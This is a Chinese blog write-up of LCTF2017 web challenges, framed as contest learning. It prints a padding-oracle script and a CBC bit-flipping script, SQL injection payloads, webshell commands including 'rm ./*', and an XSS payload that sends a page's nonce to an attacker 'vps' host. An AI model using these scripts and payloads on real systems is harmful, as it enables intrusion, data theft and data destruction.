p0's blog | 破 关注网络安全
LCTF2017-部分Web-WriteUp
发表于: | 分类: CTF | 评论:3 | 阅读: 4627

每次比赛不是在求wp,就是在求wp的路上。菜的抠脚

和队友一起搞了三个Web题,算是拿了两个一血。

Simple blog

可能大佬都还没起床,偷了个一血2333

.login.php.swp和.admin.php.swp拿到源码

login.php

<?php
error_reporting(0);
session_start();
define("METHOD", "aes-128-cbc");
include('config.php');

function show_page(){
    echo '<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>Login Form</title>
  <link rel="stylesheet" type="text/css" href="css/login.css" />
</head>
<body>
  <div class="login">
    <h1>后台登录</h1>
    <form method="post">
        <input type="text" name="username" placeholder="Username" required="required" />
        <input type="password" name="password" placeholder="Password" required="required" />
        <button type="submit" class="btn btn-primary btn-block btn-large">Login</button>
    </form>
</div>
</body>
</html>
';
}

function get_random_token(){
    $random_token = '';
    $str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
    for($i = 0; $i < 16; $i++){
        $random_token .= substr($str, rand(1, 61), 1);
    }
    return $random_token;
}

function get_identity(){
    global $id;
    $token = get_random_token();
    $c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
    $_SESSION['id'] = base64_encode($c);
    setcookie("token", base64_encode($token));
    if($id === 'admin'){
        $_SESSION['isadmin'] = 1;
    }else{
        $_SESSION['isadmin'] = 0;
    }
}

function test_identity(){
    if (isset($_SESSION['id'])) {
        $c = base64_decode($_SESSION['id']);
        $token = base64_decode($_COOKIE["token"]);
        if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
            if ($u === 'admin') {
                $_SESSION['isadmin'] = 1;
                return 1;
            }
        }else{
            die("Error!");
        } 
    }
    return 0;
}

if(isset($_POST['username'])&&isset($_POST['password'])){
    $username = mysql_real_escape_string($_POST['username']);
    $password = $_POST['password'];
    $result = mysql_query("select password from users where username='" . $username . "'", $con);
    $row = mysql_fetch_array($result);
    if($row['password'] === md5($password)){
          get_identity();
          header('location: ./admin.php');
      }else{
          die('Login failed.');
      }
}else{
    if(test_identity()){
        header('location: ./admin.php');
    }else{
        show_page();
    }
}
?>

admin.php


<?php
error_reporting(0);
session_start();
include('config.php');

if(!$_SESSION['isadmin']){
    die('You are not admin');
}

if(isset($_GET['id'])){
    $id = mysql_real_escape_string($_GET['id']);
    if(isset($_GET['title'])){
        $title = mysql_real_escape_string($_GET['title']);
        $title = sprintf("AND title='%s'", $title);
    }else{
        $title = '';
    }
    $sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
    $result = mysql_query($sql,$con);
    $row = mysql_fetch_array($result);
    if(isset($row['title'])&&isset($row['content'])){
        echo "<h1>".$row['title']."</h1><br>".$row['content'];
        die();
    }else{
        die("This article does not exist.");
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>adminpage</title>
    <link href="css/bootstrap.min.css" rel="stylesheet">
    <script src="js/jquery.min.js"></script>
    <script src="js/bootstrap.min.js"></script>
</head>
<body>
    <nav class="navbar navbar-default" role="navigation">
   <div class="navbar-header">
      <a class="navbar-brand" href="#">后台</a>
   </div>
   <div>
      <ul class="nav navbar-nav">
         <li class="active"><a href="#">编辑文章</a></li>
         <li><a href="#">设置</a></li>
      </ul>
   </div></nav>
   <div class="panel panel-success">
   <div class="panel-heading">
      <h1 class="panel-title">文章列表</h1>
   </div>
   <div class="panel-body">
      <li><a href='?id=1'>Welcome to myblog</a><br></li>
      <li><a href='?id=2'>Hello,world!</a><br></li>
      <li><a href='?id=3'>This is admin page</a><br></li>
   </div>
   </div>
</body>
</html>

首先是登录,不存在注入,admin admin弱口令即可登录,登录后可获取到token,即iv

padding oracle attack

import base64
import requests
ans=''

iv = "YjlWdFhpY0lvTkdDYWxRVA=="
session = "ivnglpd4lsklaeg40b417ael24"
url = "http://111.231.111.54/login.php"
def check(str):
    str = str.encode('base64').strip()
    r = requests.get(url,cookies={"token":str,"PHPSESSID":session})
    print r.content
    return r.content
def XOR(a,b):
    ret = a
    for i in xrange(len(a)):
        ret[i] = a[i]^b[i]
    return bytearray(ret)

def decrypt(C):
    N = 16
    blocks = [bytearray(C[i:i+N]) for i in xrange(0,len(C),N)]
    tmp = []
    plain = []
    for block in blocks[::-1]:
        nowIV = [0]*N # start IV is 000000...
        for i in xrange(1,1+N): # try place i
            for b in xrange(256):
                former_block = XOR([i]*N , nowIV)
                former_block[N-i] ^= b  # try all
                u = ''
                for x in former_block:
                    u += chr(x)
                print u.encode('hex')
                res = check(u)
                if 'btn-primary' in res:
                    nowIV[N-i] = former_block[N-i]^i
                    print nowIV
                    break
        tmp.insert(0,nowIV)
        print 'tmp:',tmp
    plain = [XOR(tmp[i],blocks[i]) for i in xrange(0,len(blocks))]
    print plain
    return ''.join(map(str,plain))
print decrypt(iv.decode('base64'))

跑出来是tsLtkuN3HWtXaJz,第一位是不正确的。CBC翻转的时候需要爆破第一位,最后爆出来是usLtkuN3HWtXaJz

# -*- coding: utf-8 -*-
import base64
import requests
#url='http://localhost/ctf/lctf/login.php'
url='http://111.231.111.54/login.php'
iv = 'YjlWdFhpY0lvTkdDYWxRVA=='.decode('base64')
session = "ivnglpd4lsklaeg40b417ael24"
s = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
for c in s:
    old = c+'sLtkuN3HWtXaJz'+'\x01'
    new = 'admin'+chr(11)*11
    tiv = iv
    for i in xrange(16):
        tiv = tiv[:i] + chr(ord(tiv[i]) ^ ord(old[i]) ^ ord(new[i])) + tiv[i+1:]
    r = requests.get('url',cookies={"token":tiv.encode('base64').strip(),"PHPSESSID":session})
    if 'btn-primary' not in r.content:
        print tiv.encode('base64').strip()
        print c
        break

替换cookie进入后台,sprintf格式化字符串造成注入,这个地方看了好长时间,就是printf占位符+字符填充引入的引号。后来才知道是前段时间WordPress爆出的SQLi问题,最新漏洞还是要多跟进的。

sprintf造成的问题https://paper.seebug.org/386/

接下来就是常规的注入了,没什么过滤,payload:

"他们"有什么秘密呢?

队友拿到的一血@Seaii

访问http://182.254.246.93/entrance.php,查看源码获得提示。

mark

简单测试了一下,union,select啥的都没过滤,可以报错。但是informationtablecolumn等可以爆表爆列关键字被过滤了,而且过滤的很严格。

但是可以通过报错来获得表名、列名

表名

pro_id=1 and Polygon(pro_id)

之前积累的这个姿势被过滤了,在手册上寻找其他函数https://dev.mysql.com/doc/refman/5.7/en/gis-mysql-specific-functions.html#function_polygon,找到一个漏网之鱼。

pro_id=1 and LineString(pro_id)  

得到表名 product_2017ctf

列名

pro_id=1 and (select * from (select * from product_2017ctf as a join product_2017ctf as b using(pro_id,pro_name,owner,d067a0fa9dc61a6e))xxx)

得到列名pro_id,pro_name,owner,d067a0fa9dc61a6e。明显我们需要知道d067a0fa9dc61a6e的值,但是d067a0fa9dc61a6e被过滤了。

无列名注入

pro_id=-1 union select 1,d,3,4 from (select 1 a,2 b,3 c,4 d union select * from product_2017ctf limit 3,1)xxx

得到字段值为7195ca99696b5a896.php,进入下一关。

7字符限制获取webshell

从网上找了一个参考http://www.vuln.cn/6016,大体思路就是php代码

<?=`*`;

会将当前目录下所有文件的文件名放在一起当做一条命令执行。

首先删除保存文件目录下的index.html,他会影响命令的执行。

filename=bash&content=123
filename=command&content=rm ./*
filename=z.php&content=<?=`*`;

之后只要修改command文件的内容执行命令就可以了。

ls /获得flag文件名:327a6c4304ad5938eaf0efb6cc3e53dc.php

cat /3*得到flag:LCTF{n1ver_stop_nev2r_giveup}

萌萌哒报名系统

.idea文件名泄露,发现xdcms2333.zip

一开始就想着利用条件竞争,写脚本没跑出来,有师傅跑出来了,可能线程不够大==,第二天发现官方因为服务器问题会定时清数据库的内容。

所以存在的一个逻辑问题

登录后只设置了$_SESSION['username']$_SESSION['is_logined']$_SESSION['is_guest']是在member.php设置的。

PS:即使在一个文件里处理,也可利用条件竞争

member.php

    $sth = $pdo->prepare('SELECT identity FROM identities WHERE username = :username');
    $sth->execute([':username' => $_SESSION['username']]);
    if ($sth->fetch()[0] === 'GUEST') {
        $_SESSION['is_guest'] = true;
    }

查询identities表中是否为GUEST,不为GUEST就能过。如果没有数据,当然 也能过

所以登录后就等着官方清数据库就行了。

PS:为了让他们快点清,可以写个脚本批量注册

然后使用伪协议直接读文件就可以了:

并非预期解,根据flag格式也可以发现,这个题目是考察preg_match的,其实正解是pre_match函数的资源消耗来绕过,因为pre_match在匹配的时候会消耗较大的资源,并且默认存在贪婪匹配,所以通过喂一个超长的字符串去给pre_match吃,导致pre_match消耗大量资源从而导致php超时,后面的php语句就不会执行。

wanna hack him?

这个没做出来,赛后发现自己真智障,还有Seaii,比我还智障。

题目情况:

<html>
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-953eabd48d05b07c421d6df125b56e2b';">
输入点<p>comment here</p>
<script nonce="953eabd48d05b07c421d6df125b56e2b">var test='test';</script>
<p>welcome to comment on admin's blog</p>
</html>

当时一直想着<script src=xxx/eval.js a="这样来闭合后面,引入js,显然行不通的,就各种鸡儿尝试,思维jiang化

正确姿势:

<img src='http://vps/?nonce= 单引号可以和test='test'处的单引号闭合,即可打到nonce,打到nonce就是常规xss了。

还有两个ssrf,就是自己菜了

官方wp:
Web签到题
l-Plarground

另外,l-Plarground第一处ssrf官方是利用Linux中0即代表本机ip,这里也可以利用DNS解析绕过。


著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:https://p0sec.net/index.php/archives/116/
来源:https://p0sec.net/

已有 3 条评论

  1. seaii seaii

    wanna hack him?里面的评论个人感觉有失公正(手动滑稽)

    1. p0 p0

      我觉得问题不大

  2. Nicely put. Thank you.

添加新评论

TOP